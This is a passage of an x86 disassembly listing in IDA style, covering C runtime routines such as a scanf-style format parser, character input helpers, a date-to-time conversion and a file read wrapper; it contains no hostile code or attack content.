esi, 6Eh jnz loc_417A98 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_417F4E jmp loc_417F74 ; --------------------------------------------------------------------------- loc_417853: ; CODE XREF: sub_41760D+229j push 64h pop esi loc_417856: ; CODE XREF: sub_41760D+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_417AE0 mov [ebp+var_17], 1 jmp loc_417AE5 ; --------------------------------------------------------------------------- loc_41786B: ; CODE XREF: sub_41760D+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_417887 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41788C ; --------------------------------------------------------------------------- loc_417887: ; CODE XREF: sub_41760D+26Aj cmp ebx, 2Bh jnz short loc_4178A3 loc_41788C: ; CODE XREF: sub_41760D+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_418069 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4178A6 ; --------------------------------------------------------------------------- loc_4178A3: ; CODE XREF: sub_41760D+27Dj mov edi, [ebp+arg_0] loc_4178A6: ; CODE XREF: sub_41760D+294j cmp [ebp+var_20], 0 jz short loc_4178B5 cmp [ebp+var_C], 15Dh jle short loc_4178BC loc_4178B5: ; CODE XREF: sub_41760D+29Dj mov [ebp+var_C], 15Dh loc_4178BC: ; CODE XREF: sub_41760D+2A6j ; sub_41760D+2F2j cmp dword_4316BC, 1 jle short loc_4178D1 push 4 push ebx call sub_414E26 pop ecx pop ecx jmp short loc_4178DC ; --------------------------------------------------------------------------- loc_4178D1: ; CODE XREF: sub_41760D+2B6j mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, 4 loc_4178DC: ; CODE XREF: sub_41760D+2C2j test eax, eax jz short loc_417901 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_417901 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_418069 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4178BC ; --------------------------------------------------------------------------- loc_417901: ; CODE XREF: sub_41760D+2D1j ; sub_41760D+2DBj cmp byte_4316C0, bl jnz short loc_41796F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41796F inc [ebp+var_4] push edi call sub_418069 mov ebx, eax mov al, byte_4316C0 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41792A: ; CODE XREF: sub_41760D+360j cmp dword_4316BC, 1 jle short loc_41793F push 4 push ebx call sub_414E26 pop ecx pop ecx jmp short loc_41794A ; --------------------------------------------------------------------------- loc_41793F: ; CODE XREF: sub_41760D+324j mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, 4 loc_41794A: ; CODE XREF: sub_41760D+330j test eax, eax jz short loc_41796F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41796F inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_418069 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41792A ; --------------------------------------------------------------------------- loc_41796F: ; CODE XREF: sub_41760D+2FAj ; sub_41760D+304j ... cmp [ebp+var_1C], 0 jz loc_417A07 cmp ebx, 65h jz short loc_417987 cmp ebx, 45h jnz loc_417A07 loc_417987: ; CODE XREF: sub_41760D+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_417A07 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_418069 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4179AE mov [esi], al inc esi jmp short loc_4179B3 ; --------------------------------------------------------------------------- loc_4179AE: ; CODE XREF: sub_41760D+39Aj cmp ebx, 2Bh jnz short loc_4179D1 loc_4179B3: ; CODE XREF: sub_41760D+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4179C2 and [ebp+var_C], eax jmp short loc_4179D1 ; --------------------------------------------------------------------------- loc_4179C2: ; CODE XREF: sub_41760D+3AEj ; sub_41760D+3F8j inc [ebp+var_4] push edi call sub_418069 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4179D1: ; CODE XREF: sub_41760D+3A4j ; sub_41760D+3B3j cmp dword_4316BC, 1 jle short loc_4179E6 push 4 push ebx call sub_414E26 pop ecx pop ecx jmp short loc_4179F1 ; --------------------------------------------------------------------------- loc_4179E6: ; CODE XREF: sub_41760D+3CBj mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, 4 loc_4179F1: ; CODE XREF: sub_41760D+3D7j test eax, eax jz short loc_417A07 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_417A07 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4179C2 ; --------------------------------------------------------------------------- loc_417A07: ; CODE XREF: sub_41760D+366j ; sub_41760D+374j ... dec [ebp+var_4] push edi push ebx call sub_418083 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_418013 cmp [ebp+var_E], 0 jnz loc_417F74 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_4317F0 add esp, 0Ch jmp loc_417F74 ; --------------------------------------------------------------------------- loc_417A4B: ; CODE XREF: sub_41760D+20Cj cmp [ebp+var_20], eax jnz short loc_417A5A inc [ebp+var_C] mov [ebp+var_20], 1 loc_417A5A: ; CODE XREF: sub_41760D+441j cmp [ebp+var_5], 0 jle short loc_417A64 mov [ebp+var_16], 1 loc_417A64: ; CODE XREF: sub_41760D+451j mov edi, offset dword_431820 jmp loc_417B79 ; --------------------------------------------------------------------------- loc_417A6E: ; CODE XREF: sub_41760D+1FDj mov eax, esi sub eax, 70h jz loc_417D1C sub eax, 3 jz loc_417B6A dec eax dec eax jz loc_417D20 sub eax, 3 jz loc_417856 sub eax, 3 jz short loc_417ABC loc_417A98: ; CODE XREF: sub_41760D+21Bj ; sub_41760D+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_417FE3 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_417F74 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_417F74 ; --------------------------------------------------------------------------- loc_417ABC: ; CODE XREF: sub_41760D+489j cmp [ebp+var_5], 0 jle short loc_417AC6 mov [ebp+var_16], 1 loc_417AC6: ; CODE XREF: sub_41760D+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_417B7D mov eax, edi lea edi, [eax+1] jmp loc_417B79 ; --------------------------------------------------------------------------- loc_417AE0: ; CODE XREF: sub_41760D+24Fj cmp ebx, 2Bh jnz short loc_417B07 loc_417AE5: ; CODE XREF: sub_41760D+259j dec [ebp+var_C] jnz short loc_417AF6 cmp [ebp+var_20], 0 jz short loc_417AF6 mov [ebp+var_F], 1 jmp short loc_417B07 ; --------------------------------------------------------------------------- loc_417AF6: ; CODE XREF: sub_41760D+4DBj ; sub_41760D+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_418069 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_417B07: ; CODE XREF: sub_41760D+4D6j ; sub_41760D+4E7j cmp ebx, 30h jnz loc_417D55 push [ebp+arg_0] inc [ebp+var_4] call sub_418069 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_417B55 cmp bl, 58h jz short loc_417B55 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_417B3F push 6Fh loc_417B39: ; CODE XREF: sub_41760D+55Bj pop esi jmp loc_417D55 ; --------------------------------------------------------------------------- loc_417B3F: ; CODE XREF: sub_41760D+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_418083 pop ecx pop ecx push 30h pop ebx jmp loc_417D52 ; --------------------------------------------------------------------------- loc_417B55: ; CODE XREF: sub_41760D+517j ; sub_41760D+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_418069 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_417B39 ; --------------------------------------------------------------------------- loc_417B6A: ; CODE XREF: sub_41760D+46Fj cmp [ebp+var_5], 0 jle short loc_417B74 mov [ebp+var_16], 1 loc_417B74: ; CODE XREF: sub_41760D+561j mov edi, offset dword_431818 loc_417B79: ; CODE XREF: sub_41760D+45Cj ; sub_41760D+4CEj or [ebp+var_18], 0FFh loc_417B7D: ; CODE XREF: sub_41760D+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_411F70 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_417BA1 cmp byte ptr [edi], 5Dh jnz short loc_417BA1 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_417BA4 ; --------------------------------------------------------------------------- loc_417BA1: ; CODE XREF: sub_41760D+584j ; sub_41760D+589j mov dl, [ebp+var_35] loc_417BA4: ; CODE XREF: sub_41760D+592j ; sub_41760D+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_417C09 inc edi cmp al, 2Dh jnz short loc_417BF0 test dl, dl jz short loc_417BF0 mov cl, [edi] cmp cl, 5Dh jz short loc_417BF0 inc edi cmp dl, cl jnb short loc_417BC3 mov al, cl jmp short loc_417BC7 ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_41760D+5B0j mov al, dl mov dl, cl loc_417BC7: ; CODE XREF: sub_41760D+5B4j cmp dl, al ja short loc_417BEC movzx edx, dl movzx esi, al sub esi, edx inc esi loc_417BD4: ; CODE XREF: sub_41760D+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_417BD4 loc_417BEC: ; CODE XREF: sub_41760D+5BCj xor dl, dl jmp short loc_417BA4 ; --------------------------------------------------------------------------- loc_417BF0: ; CODE XREF: sub_41760D+5A0j ; sub_41760D+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_417BA4 ; --------------------------------------------------------------------------- loc_417C09: ; CODE XREF: sub_41760D+59Bj cmp byte ptr [edi], 0 jz loc_418013 cmp [ebp+var_3C], 7Bh jnz short loc_417C1B mov [ebp+arg_4], edi loc_417C1B: ; CODE XREF: sub_41760D+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_418083 pop ecx pop ecx loc_417C32: ; CODE XREF: sub_41760D+6BCj ; sub_41760D+6C4j cmp [ebp+var_20], 0 jz short loc_417C46 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_417CE2 loc_417C46: ; CODE XREF: sub_41760D+629j inc [ebp+var_4] push edi call sub_418069 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_417CD6 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_417CD6 cmp [ebp+var_E], 0 jnz short loc_417CCE cmp [ebp+var_16], 0 jz short loc_417CC3 mov ecx, off_4314B0 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_417CA2 inc [ebp+var_4] push edi call sub_418069 pop ecx mov [ebp+var_37], al loc_417CA2: ; CODE XREF: sub_41760D+686j push dword_4316BC lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41A89A mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_417CC6 ; --------------------------------------------------------------------------- loc_417CC3: ; CODE XREF: sub_41760D+673j mov [esi], al inc esi loc_417CC6: ; CODE XREF: sub_41760D+6B4j mov [ebp+var_2C], esi jmp loc_417C32 ; --------------------------------------------------------------------------- loc_417CCE: ; CODE XREF: sub_41760D+66Dj inc [ebp+var_30] jmp loc_417C32 ; --------------------------------------------------------------------------- loc_417CD6: ; CODE XREF: sub_41760D+649j ; sub_41760D+667j dec [ebp+var_4] push edi push eax call sub_418083 pop ecx pop ecx loc_417CE2: ; CODE XREF: sub_41760D+633j cmp [ebp+var_30], esi jz loc_418013 cmp [ebp+var_E], 0 jnz loc_417F74 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_417F74 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_417D14 and word ptr [eax], 0 jmp loc_417F74 ; --------------------------------------------------------------------------- loc_417D14: ; CODE XREF: sub_41760D+6FCj and byte ptr [eax], 0 jmp loc_417F74 ; --------------------------------------------------------------------------- loc_417D1C: ; CODE XREF: sub_41760D+466j mov [ebp+var_D], 1 loc_417D20: ; CODE XREF: sub_41760D+203j ; sub_41760D+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_417D2E mov [ebp+var_17], 1 jmp short loc_417D33 ; --------------------------------------------------------------------------- loc_417D2E: ; CODE XREF: sub_41760D+719j cmp ebx, 2Bh jnz short loc_417D55 loc_417D33: ; CODE XREF: sub_41760D+71Fj dec [ebp+var_C] jnz short loc_417D44 cmp [ebp+var_20], 0 jz short loc_417D44 mov [ebp+var_F], 1 jmp short loc_417D55 ; --------------------------------------------------------------------------- loc_417D44: ; CODE XREF: sub_41760D+729j ; sub_41760D+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_418069 pop ecx mov ebx, eax loc_417D52: ; CODE XREF: sub_41760D+543j mov [ebp+var_14], ebx loc_417D55: ; CODE XREF: sub_41760D+4FDj ; sub_41760D+52Dj ... cmp [ebp+var_30], 0 jz loc_417E6E cmp [ebp+var_F], 0 jnz loc_417E4C loc_417D69: ; CODE XREF: sub_41760D+82Cj cmp esi, 78h jnz short loc_417DBD cmp dword_4316BC, 1 jle short loc_417D86 push 80h push ebx call sub_414E26 pop ecx pop ecx jmp short loc_417D93 ; --------------------------------------------------------------------------- loc_417D86: ; CODE XREF: sub_41760D+768j mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, 80h loc_417D93: ; CODE XREF: sub_41760D+777j test eax, eax jz loc_417E3E mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41A990 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_418032 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_417E10 ; --------------------------------------------------------------------------- loc_417DBD: ; CODE XREF: sub_41760D+75Fj cmp dword_4316BC, 1 jle short loc_417DD2 push 4 push ebx call sub_414E26 pop ecx pop ecx jmp short loc_417DDD ; --------------------------------------------------------------------------- loc_417DD2: ; CODE XREF: sub_41760D+7B7j mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, 4 loc_417DDD: ; CODE XREF: sub_41760D+7C3j test eax, eax jz short loc_417E3E cmp esi, 6Fh jnz short loc_417DFB cmp ebx, 38h jge short loc_417E3E mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41A990 jmp short loc_417E0A ; --------------------------------------------------------------------------- loc_417DFB: ; CODE XREF: sub_41760D+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_4123A0 loc_417E0A: ; CODE XREF: sub_41760D+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_417E10: ; CODE XREF: sub_41760D+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_417E28 dec [ebp+var_C] jz short loc_417E4C loc_417E28: ; CODE XREF: sub_41760D+814j push [ebp+arg_0] inc [ebp+var_4] call sub_418069 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_417D69 ; --------------------------------------------------------------------------- loc_417E3E: ; CODE XREF: sub_41760D+788j ; sub_41760D+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_418083 pop ecx pop ecx loc_417E4C: ; CODE XREF: sub_41760D+756j ; sub_41760D+819j cmp [ebp+var_17], 0 jz loc_417F32 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_417F32 ; --------------------------------------------------------------------------- loc_417E6E: ; CODE XREF: sub_41760D+74Cj cmp [ebp+var_F], 0 jnz loc_417F2A loc_417E78: ; CODE XREF: sub_41760D+90Aj cmp esi, 78h jz short loc_417EBC cmp esi, 70h jz short loc_417EBC cmp dword_4316BC, 1 jle short loc_417E97 push 4 push ebx call sub_414E26 pop ecx pop ecx jmp short loc_417EA2 ; --------------------------------------------------------------------------- loc_417E97: ; CODE XREF: sub_41760D+87Cj mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, 4 loc_417EA2: ; CODE XREF: sub_41760D+888j test eax, eax jz short loc_417F1C cmp esi, 6Fh jnz short loc_417EB5 cmp ebx, 38h jge short loc_417F1C shl edi, 3 jmp short loc_417EF4 ; --------------------------------------------------------------------------- loc_417EB5: ; CODE XREF: sub_41760D+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_417EF4 ; --------------------------------------------------------------------------- loc_417EBC: ; CODE XREF: sub_41760D+86Ej ; sub_41760D+873j cmp dword_4316BC, 1 jle short loc_417ED4 push 80h push ebx call sub_414E26 pop ecx pop ecx jmp short loc_417EE1 ; --------------------------------------------------------------------------- loc_417ED4: ; CODE XREF: sub_41760D+8B6j mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, 80h loc_417EE1: ; CODE XREF: sub_41760D+8C5j test eax, eax jz short loc_417F1C push ebx shl edi, 4 call sub_418032 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_417EF4: ; CODE XREF: sub_41760D+8A6j ; sub_41760D+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_417F06 dec [ebp+var_C] jz short loc_417F2A loc_417F06: ; CODE XREF: sub_41760D+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_418069 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_417E78 ; --------------------------------------------------------------------------- loc_417F1C: ; CODE XREF: sub_41760D+897j ; sub_41760D+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_418083 pop ecx pop ecx loc_417F2A: ; CODE XREF: sub_41760D+865j ; sub_41760D+8F7j cmp [ebp+var_17], 0 jz short loc_417F32 neg edi loc_417F32: ; CODE XREF: sub_41760D+843j ; sub_41760D+85Cj ... cmp esi, 46h jnz short loc_417F3B and [ebp+var_1C], 0 loc_417F3B: ; CODE XREF: sub_41760D+928j cmp [ebp+var_1C], 0 jz loc_418013 cmp [ebp+var_E], 0 jnz short loc_417F74 inc [ebp+var_34] loc_417F4E: ; CODE XREF: sub_41760D+23Bj cmp [ebp+var_30], 0 jz short loc_417F64 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_417F74 ; --------------------------------------------------------------------------- loc_417F64: ; CODE XREF: sub_41760D+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_417F71 mov [eax], edi jmp short loc_417F74 ; --------------------------------------------------------------------------- loc_417F71: ; CODE XREF: sub_41760D+95Ej mov [eax], di loc_417F74: ; CODE XREF: sub_41760D+241j ; sub_41760D+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_417FC1 ; --------------------------------------------------------------------------- loc_417F7F: ; CODE XREF: sub_41760D+93j inc [ebp+var_4] push edi call sub_418069 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_417FEE mov ecx, off_4314B0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_417FC1 inc [ebp+var_4] push edi call sub_418069 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_417FFC dec [ebp+var_4] loc_417FC1: ; CODE XREF: sub_41760D+970j ; sub_41760D+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_417FD7 cmp byte ptr [esi], 25h jnz short loc_418019 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_418019 mov esi, eax loc_417FD7: ; CODE XREF: sub_41760D+9B8j mov al, [esi] test al, al jnz loc_417637 jmp short loc_418013 ; --------------------------------------------------------------------------- loc_417FE3: ; CODE XREF: sub_41760D+1F4j ; sub_41760D+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_417FF3 ; --------------------------------------------------------------------------- loc_417FEE: ; CODE XREF: sub_41760D+98Aj dec [ebp+var_4] push edi push ebx loc_417FF3: ; CODE XREF: sub_41760D+9DFj call sub_418083 pop ecx pop ecx jmp short loc_418013 ; --------------------------------------------------------------------------- loc_417FFC: ; CODE XREF: sub_41760D+9AFj dec [ebp+var_4] push edi push eax call sub_418083 dec [ebp+var_4] push edi push ebx call sub_418083 add esp, 10h loc_418013: ; CODE XREF: sub_41760D+1Fj ; sub_41760D+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41802A loc_418019: ; CODE XREF: sub_41760D+9BDj ; sub_41760D+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41802D cmp [ebp+var_15], al jnz short loc_41802D or eax, 0FFFFFFFFh jmp short loc_41802D ; --------------------------------------------------------------------------- loc_41802A: ; CODE XREF: sub_41760D+A0Aj mov eax, [ebp+var_34] loc_41802D: ; CODE XREF: sub_41760D+A11j ; sub_41760D+A16j ... pop edi pop esi pop ebx leave retn sub_41760D endp ; =============== S U B R O U T I N E ======================================= sub_418032 proc near ; CODE XREF: sub_41760D+7A3p ; sub_41760D+8DCp arg_0 = dword ptr 4 cmp dword_4316BC, 1 push esi jle short loc_41804C mov esi, [esp+4+arg_0] push 4 push esi call sub_414E26 pop ecx pop ecx jmp short loc_41805B ; --------------------------------------------------------------------------- loc_41804C: ; CODE XREF: sub_418032+8j mov esi, [esp+4+arg_0] mov eax, off_4314B0 mov al, [eax+esi*2] and eax, 4 loc_41805B: ; CODE XREF: sub_418032+18j test eax, eax jnz short loc_418065 and esi, 0FFFFFFDFh sub esi, 7 loc_418065: ; CODE XREF: sub_418032+2Bj mov eax, esi pop esi retn sub_418032 endp ; =============== S U B R O U T I N E ======================================= sub_418069 proc near ; CODE XREF: sub_41760D+1E1p ; sub_41760D+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41807B mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41807B: ; CODE XREF: sub_418069+7j push edx call sub_418180 pop ecx retn sub_418069 endp ; =============== S U B R O U T I N E ======================================= sub_418083 proc near ; CODE XREF: sub_41760D+6Bp ; sub_41760D+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_418099 push [esp+arg_4] push [esp+4+arg_0] call sub_41A9AF pop ecx pop ecx locret_418099: ; CODE XREF: sub_418083+5j retn sub_418083 endp ; =============== S U B R O U T I N E ======================================= sub_41809A proc near ; CODE XREF: sub_41760D+63p ; sub_41760D+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_4180A0: ; CODE XREF: sub_41809A+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_418069 mov edi, eax push edi call sub_41A962 pop ecx test eax, eax pop ecx jnz short loc_4180A0 mov eax, edi pop edi pop esi retn sub_41809A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180BE proc near ; CODE XREF: sub_4134A4+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41817A cmp ebx, 8Ah jg loc_41817A push esi push edi mov edi, [ebp+arg_4] mov esi, dword_431F44[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4180FD cmp edi, 2 jle short loc_4180FD inc esi loc_4180FD: ; CODE XREF: sub_4180BE+37j ; sub_4180BE+3Cj call sub_41AA1D mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_431E60 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_418170 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_418176 cmp dword_431E64, 0 jz short loc_418176 lea eax, [ebp+var_24] push eax call sub_41AC90 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_418176 loc_418170: ; CODE XREF: sub_4180BE+90j add ecx, dword_431E68 loc_418176: ; CODE XREF: sub_4180BE+96j ; sub_4180BE+9Fj ... mov eax, ecx jmp short loc_41817D ; --------------------------------------------------------------------------- loc_41817A: ; CODE XREF: sub_4180BE+13j ; sub_4180BE+1Fj or eax, 0FFFFFFFFh loc_41817D: ; CODE XREF: sub_4180BE+BAj pop ebx leave retn sub_4180BE endp ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_413580+A9p ; sub_4140AC+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_418254 test al, 40h jnz loc_418254 test al, 2 jz short loc_4181A6 or al, 20h mov [esi+0Ch], eax jmp loc_418254 ; --------------------------------------------------------------------------- loc_4181A6: ; CODE XREF: sub_418180+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_4181BA push esi call sub_419939 pop ecx jmp short loc_4181BF ; --------------------------------------------------------------------------- loc_4181BA: ; CODE XREF: sub_418180+2Fj mov eax, [esi+8] mov [esi], eax loc_4181BF: ; CODE XREF: sub_418180+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_418259 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_418243 cmp eax, 0FFFFFFFFh jz short loc_418243 mov edx, [esi+0Ch] test dl, 82h jnz short loc_418218 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_418201 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_463EE0[edi*4] lea edi, [edi+ecx*8] jmp short loc_418206 ; --------------------------------------------------------------------------- loc_418201: ; CODE XREF: sub_418180+6Bj mov edi, offset dword_431B10 loc_418206: ; CODE XREF: sub_418180+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_418218 or dh, 20h mov [esi+0Ch], edx loc_418218: ; CODE XREF: sub_418180+62j ; sub_418180+90j cmp dword ptr [esi+18h], 200h jnz short loc_418235 mov ecx, [esi+0Ch] test cl, 8 jz short loc_418235 test ch, 4 jnz short loc_418235 mov dword ptr [esi+18h], 1000h loc_418235: ; CODE XREF: sub_418180+9Fj ; sub_418180+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_418243: ; CODE XREF: sub_418180+55j ; sub_418180+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_418254: ; CODE XREF: sub_418180+Aj ; sub_418180+12j ... or eax, 0FFFFFFFFh pop esi retn sub_418180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418259 proc near ; CODE XREF: sub_413580+90p ; sub_418180+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_463FE0 jnb loc_418436 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:463EE0h[eax*4] mov eax, dword_463EE0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_418436 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41830E test dl, 2 jnz short loc_41830E test dl, 48h jz short loc_4182CE mov al, [eax+5] cmp al, 0Ah jz short loc_4182CE dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_4182CE: ; CODE XREF: sub_418259+56j ; sub_418259+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_41D098 ; ReadFile test eax, eax jnz short loc_418321 call dword_41D06C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_418309 mov dword_462BC4, 